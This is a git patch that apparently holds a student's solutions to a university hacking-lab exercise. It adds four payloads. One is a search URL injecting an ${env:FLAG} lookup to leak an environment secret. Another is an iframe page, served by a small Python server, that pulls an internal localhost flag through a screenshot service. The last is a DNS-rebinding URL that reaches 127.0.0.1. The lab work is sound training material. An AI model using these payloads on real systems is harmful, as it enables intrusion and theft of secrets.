From cb52c109deba34a3bf8909a6d8ae921401401e49 Mon Sep 17 00:00:00 2001
From: Eggert Jung <eggert.s.jung@wischhof13.de>
Date: Sat, 24 Jan 2026 03:25:20 +0100
Subject: [PATCH] 5

---
 5/leakchecker1        |  1 +
 5/screenr2/index.html |  2 ++
 5/screenr2/server.py  | 13 +++++++++++++
 5/screenr3/txt        |  5 +++++
 4 files changed, 21 insertions(+)
 create mode 100644 5/leakchecker1
 create mode 100644 5/screenr2/index.html
 create mode 100644 5/screenr2/server.py
 create mode 100644 5/screenr3/txt

diff --git a/5/leakchecker1 b/5/leakchecker1
new file mode 100644
index 0000000..767e23b
--- /dev/null
+++ b/5/leakchecker1
@@ -0,0 +1 @@
+https://leakchecker1.web3.stud12.hacklab.ias.tu-bs.de/search?email=%24%7Benv%3AFLAG%7D
diff --git a/5/screenr2/index.html b/5/screenr2/index.html
new file mode 100644
index 0000000..101e7ac
--- /dev/null
+++ b/5/screenr2/index.html
@@ -0,0 +1,2 @@
+<iframe src="http://localhost:9000/flag" name="iframe" id="iframe" scrolling="yes" frameborder="0" marginheight="0px" marginwidth="0px" height="2400" width="6000" style="zoom: 0.75">
+</iframe>
diff --git a/5/screenr2/server.py b/5/screenr2/server.py
new file mode 100644
index 0000000..ff9ec02
--- /dev/null
+++ b/5/screenr2/server.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from http.server import SimpleHTTPRequestHandler, HTTPServer
+
+PORT = 8000
+
+def run_server():
+    handler = SimpleHTTPRequestHandler
+    httpd = HTTPServer(("", PORT), handler)
+    print(f"Serving HTTP on port {PORT} (http://localhost:{PORT}/) …")
+    httpd.serve_forever()
+
+if __name__ == "__main__":
+    run_server()
diff --git a/5/screenr3/txt b/5/screenr3/txt
new file mode 100644
index 0000000..d08516a
--- /dev/null
+++ b/5/screenr3/txt
@@ -0,0 +1,5 @@
+try multiple times:
+
+http://7f000001.c0a80001.rbndr.us:9000/flag
+
+dns switches randomly between allowed and not allowed address